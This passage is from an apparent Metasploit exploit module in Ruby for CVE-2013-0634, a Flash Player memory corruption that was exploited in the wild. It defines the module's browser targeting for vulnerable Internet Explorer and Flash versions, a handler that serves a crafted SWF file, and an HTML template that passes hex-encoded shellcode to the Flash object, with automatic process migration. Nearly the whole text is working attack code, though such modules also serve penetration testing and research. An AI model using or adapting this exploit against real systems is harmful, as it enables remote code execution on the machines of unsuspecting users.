By supplying a specially crafted swf file with special regex value, it is possible to trigger an memory corruption, which results in remote code execution under the context of the user, as exploited in the wild in February 2013. This module has been tested successfully with Adobe Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before MS13-063, since it takes advantage of a predictable SharedUserData in order to leak ntdll and bypass ASLR. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # malware sample 'Boris "dukeBarman" Ryutin', # msf exploit 'juan vazquez' # ActionScript deobfuscation and cleaning ], 'References' => [ [ 'CVE', '2013-0634' ], [ 'OSVDB', '89936'], [ 'BID', '57787'], [ 'URL', 'http://malwaremustdie.blogspot.ru/2013/02/cve-2013-0634-this-ladyboyle-is-not.html' ], [ 'URL', 'http://malware.dontneedcoffee.com/2013/03/cve-2013-0634-adobe-flash-player.html' ], [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html' ], [ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/adobe-patches-two-vulnerabilities-being-exploited-in-the-wild/' ], [ 'URL', 'http://eromang.zataz.com/tag/cve-2013-0634/' ] ], 'Payload' => { 'Space' => 1024, 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', 'Retries' => false }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", :method => "LoadMovie", :os_name => Msf::OperatingSystems::WINDOWS, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' } }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Feb 8 2013", 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending SWF...") send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) return end print_status("Sending HTML...") tag = retrieve_tag(cli, request) profile = get_profile(tag) profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" shellcode = get_payload(cli, target_info).unpack("H*")[0] html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="his=<%=shellcode%>" /> <param name="Play" value="true" /> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-0634", "exploit.swf" ) swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end |
